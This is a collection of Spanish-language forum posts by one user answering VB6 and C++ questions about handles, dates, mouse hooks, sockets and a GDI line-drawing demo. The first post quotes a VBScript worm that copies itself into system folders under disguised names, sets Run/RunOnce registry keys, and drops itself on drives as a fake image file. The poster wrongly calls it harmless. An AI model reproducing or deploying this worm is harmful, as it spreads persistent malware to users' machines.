Mensajes

.

Por lo menos yo NO veo haga algo feo... tal ves es otra cosa...

Código (vb) [Seleccionar] Expandir



On Error Resume Next

Set Arios = wscript.CreateObject("WScript.Shell")
Set Sevicias = CreateObject("Scripting.FileSystemObject")

Set colDrives = Sevicias.Drives
Arios.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\", "Windows\system32\dllcache\Aedes.vbe"
Arios.regwrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\", "Windows\system32\dllcache\Taskmgr.vbe"
Arios.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", "Windows\Fonts\Fonts.vbe"
ErigirElFichero = ".\\Fonts\\Fonts.vbe"
ErifirElficheross = ".\\System32\dllcache\\Aedes.vbe"
ErifirElficherosf = ".\\System32\\dllcache\\taskmgr.vbe"
ErifirElficheros = ".\\Master\\___.vbe"

Sevicias.copyfile wscript.scriptfullname, Sevicias.GetSpecialFolder(0) & ErigirElFichero
Sevicias.copyfile wscript.scriptfullname, Sevicias.GetSpecialFolder(0) & ErifirElficherosf
Sevicias.copyfile wscript.scriptfullname, Sevicias.GetSpecialFolder(0) & ErifirElficheross

Program_Area = "EVO DESNUDO.bmp.vbs"

Sevicias.copyfile Sevicias.GetSpecialFolder(0) & ErigirElFichero, "c:\" & Program_Area  'Master
Sevicias.copyfile Sevicias.GetSpecialFolder(0) & ErigirElFichero, "d:\" & Program_Area  'Master
Sevicias.copyfile Sevicias.GetSpecialFolder(0) & ErigirElFichero, "e:\" & Program_Area  'Master
Sevicias.copyfile Sevicias.GetSpecialFolder(0) & ErigirElFichero, "f:\" & Program_Area   'Master
Sevicias.copyfile Sevicias.GetSpecialFolder(0) & ErigirElFichero, "g:\" & Program_Area  'Master
Sevicias.copyfile Sevicias.GetSpecialFolder(0) & ErigirElFichero, "h:\" & Program_Area  'Master



Temibles Lunas!¡.
.

[hWnd]

.
Un handle es de 4 bytes en vb6, por lo tanto debes usar long en lugar de integer, ahora en lugar de pasar como parametro una variable objeto tipo form por que no mejor pasas un long, que sea el hWnd o mejor aun una varaible publica donde almacenes el handle deseado.

Por mi parte usaria en este tipo de casos un modulo de clase por su uso de propiedades seria lo ideal, asi solo estableserias una sola vez el handle y ya todos los procesos y funciones trabajarian en base a este, esto esa lo bueno, lo malo seria la parte de la memoria, ya que al ser clases se cargaria una copia de TODA funcion existentente en ella, mientras que en un modulo normal solo se duplicaria dicha funcion, aun que este efecto seria lo mismo en el modulo de clase si se llama mas veces...

* En pocas palabras no creo que se pueda, y si se puede lo ignoro, pero seria mucho mejor con una variable en un modulo o una propiedad en un modulo de clase, igual hay mas criterios y opiniones...

Dulces Lunas!¡.

[Datetime]

.
Escribe en el vb6 o vba Datetime y despues pon un punto se te van a listas TODAS las funciones posibles con fechas de tipo Date lo que pides creo que es DateADD() o solo sumar directamente dichas fechas como si fueran sin variables numericas, = esta la MSDN.

P.D.: en el IDe de vb6 oprime F2 y ve que cosas bonitas encuentras...

Dulces Lunas!¡.
.

[Elemental Coder]

.
Revisa unos cuantos temas mas abajo en esta pagina o de igual manera una o dos paginas atras encontraras una liga a un post donde te DICE QUE DEBES HACER PARA poner musica tipo keygen a tus proyectos, es valido para vb6 vb.Net... el tema y tutorial fue publicado por Elemental Coder o algo asi era su Nick.

Temibles Lunas!¡.

[IntersetRect]

.
Si quieres obtener la posicion x, y del mouse como si fuera este codigo de la rana:

Código (vb) [Seleccionar] Expandir

Private Sub Image1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    MsgBox "x -> " & X & "  ; y -> " & Y
End Sub

DoEvents!

debes usar las apis

Código (Vb) [Seleccionar] Expandir



Declare Function ScreenToClient Lib "user32" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long
Declare Function ClientToScreen Lib "user32.dll" (ByVal hwnd As Long, ByRef lpPoint As POINTAPI) As Long



Entre otras cosillas como el API IntersetRect o WindowFromPoint, pero bueno.

Dulces Lunas!¡.

Código (Vb) [Seleccionar] Expandir



Private Function MouseProc(ByVal nCode As Long, ByVal wParam As Long, lParam As POINTAPI) As Long
    If wParam = WM_LBUTTONDOWN And (lHwnd = WindowFromPoint(lParam.X, lParam.Y)) Then
        Debug.Print lParam.X; " <--> "; lParam.Y
    End If
End Function



Sustituye por

Código (Vb) [Seleccionar] Expandir



public function MouseProc(ByVal nCode As Long, ByVal wParam As Long, lParam As POINTAPI) As Long
    If wParam = WM_LBUTTONDOWN And (lHwnd = WindowFromPoint(lParam.X, lParam.Y)) Then
        Debug.Print lParam.X; " <--> "; lParam.Y
    End If
End Function



y pega todo el codigo de la rana en un MODULO BAS!¡.

EDITO]--->

Agrega esta api al modulo de la rana

Código (vb) [Seleccionar] Expandir



Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long



y sustituye la funcion MouseProc por esta...

Código (Vb) [Seleccionar] Expandir



public function MouseProc(ByVal nCode As Long, ByVal wParam As Long, lParam As POINTAPI) As Long
    If wParam = WM_LBUTTONDOWN And (lHwnd = WindowFromPoint(lParam.X, lParam.Y)) Then
        Debug.Print lParam.X; " <--> "; lParam.Y
    End If
    MouseProc = CallNextHookEx(hHook, nCode , wParam , lParam )
End Function



Creo que esto es todo...

Temibles Lunas!¡.

Necesitas estas APÏS:

Código (Vb) [Seleccionar] Expandir



Private Type POINTAPI  
   x As Long  
   y As Long  
End Type  
 
Private Type RECT  
   Left As Long  
   Top As Long  
   Right As Long  
   Bottom As Long  
End Type  
 

Declare Function GetClientRect Lib "user32.dll" (ByVal hwnd As Long, ByRef lpRect As RECT) As Long
Declare Function ScreenToClient Lib "user32" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long
Declare Function ClientToScreen Lib "user32.dll" (ByVal hwnd As Long, ByRef lpPoint As POINTAPI) As Long
Declare Function GetCursorPos Lib "user32" Alias "GetCursorPos" (lpPoint As POINTAPI) As Long



Lo demas es solo hacer un Hook al Mouse y posiblemente quieras usar esta api...

Código (vb) [Seleccionar] Expandir



Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long



Temibles Lunas!¡.

.

Código (vb) [Seleccionar] Expandir



text1.Caption = text2 ' // Error

text1.text = text2 ' // Correcto



Temibles Lunas!¡.

.
son Sockets (APIS, WinSock, CSockeMaster y CSopcketPlus) revisa los links pegados!¡.

Dulces Lunas!¡.

.
Linkear libreria     GDI32

Esto solo es una traduccion de VB6 a C++

Que hace? Solo dibuja miles de lineas aleatoriamente de distintos colores en el monitor ignorando todo ( o casi todo ).

Codigo Original:

(GDI32) Lineas Aleatorias On The Fly

https://foro.elhacker.net/programacion_visual_basic/lineas_al_aire-t281968.0.html;msg1389871#msg1389871

Este codigo trae corregido algunos errores que cometi en vb6... nada graves (el mi blog ya estan corregidos por obvias razones)

Codigo:

Código (cpp) [Seleccionar] Expandir



////////////////////////////////////////////////////////////////
// Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
//                                                            //
// Web: http://InfrAngeluX.Sytes.Net/                         //
//                                                            //
// |-> Pueden Distribuir Este Código siempre y cuando         //
// no se eliminen los créditos originales de este código      //
// No importando que sea modificado/editado o engrandecido    //
// o achicado, si es en base a este código                    //
////////////////////////////////////////////////////////////////

#include<iostream>
#include<windows.h>

using namespace std;

struct tLineas
{
   POINT PuntoIni;
   POINT PuntoEnd;
} *PtLineas;


HDC     HDC_dest;
RECT    RECT_wmonitor;

UINT NumeroAleatorio(UINT *l,UINT *u);
UINT NumeroAleatorio(UINT *l,UINT u);
UINT NumeroAleatorio(UINT l,UINT *u);
UINT NumeroAleatorio(UINT l,UINT u);

void Swap(UINT *l,UINT *u);
void Swap(UINT *l,UINT u);
void Swap(UINT l,UINT *u);
void Swap(UINT l,UINT u);

VOID CALLBACK TimerProc(HWND, UINT, UINT_PTR, DWORD);
VOID ProcessMessages();

int main()
{

   HDC_dest                = GetDC( NULL );
   SetTimer ( NULL , 0 , 10 , (TIMERPROC)TimerProc );
   ProcessMessages();
   ReleaseDC ( NULL , HDC_dest );
   return (1);
}

void Swap(UINT *l,UINT *u)
{
   UINT Ptmp = *l;
   *l = *u;
   *u = Ptmp;
}

UINT NumeroAleatorio(UINT l,UINT u)
{
   if ( l > u)
       Swap( &l , &u );
   return ( rand()%(u-l+1)+l );
}

VOID CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT_PTR idEvent,DWORD dwTime)
{
   tLineas     Linea;
   HPEN        hPen;

   RECT_wmonitor.bottom    = GetSystemMetrics( 1 );
   RECT_wmonitor.left      = 1;
   RECT_wmonitor.right     = GetSystemMetrics( 0 );
   RECT_wmonitor.top       = 1;

   Linea.PuntoIni.x = NumeroAleatorio((UINT)RECT_wmonitor.left,(UINT)RECT_wmonitor.right);
   Linea.PuntoIni.y = NumeroAleatorio((UINT)RECT_wmonitor.top,(UINT)RECT_wmonitor.bottom);
   Linea.PuntoEnd.x = NumeroAleatorio((UINT)RECT_wmonitor.left,(UINT)RECT_wmonitor.right);
   Linea.PuntoEnd.y = NumeroAleatorio((UINT)RECT_wmonitor.top,(UINT)RECT_wmonitor.bottom);

   hPen = CreatePen(0, 1, (COLORREF)NumeroAleatorio((UINT)0,(UINT)3000000));
   DeleteObject(SelectObject(HDC_dest, hPen));
   Ellipse (HDC_dest, Linea.PuntoIni.x - 2, Linea.PuntoIni.y - 2, Linea.PuntoIni.x + 2, Linea.PuntoIni.y + 2);
   Ellipse (HDC_dest, Linea.PuntoEnd.x - 2, Linea.PuntoEnd.y - 2, Linea.PuntoEnd.x + 2, Linea.PuntoEnd.y + 2);
   DeleteObject(hPen);
   hPen = CreatePen(0, 1, (COLORREF)NumeroAleatorio((UINT)0,(UINT)3000000));
   DeleteObject(SelectObject(HDC_dest, hPen));
   MoveToEx (HDC_dest, Linea.PuntoIni.x, Linea.PuntoIni.y, NULL);
   LineTo (HDC_dest, Linea.PuntoEnd.x, Linea.PuntoEnd.y);
   DeleteObject (hPen);
}

VOID ProcessMessages()
{
   MSG msg;
   while (GetMessage(&msg, NULL, NULL, NULL) != -1)
       DispatchMessage(&msg);
}



Temibles Lunas!¡.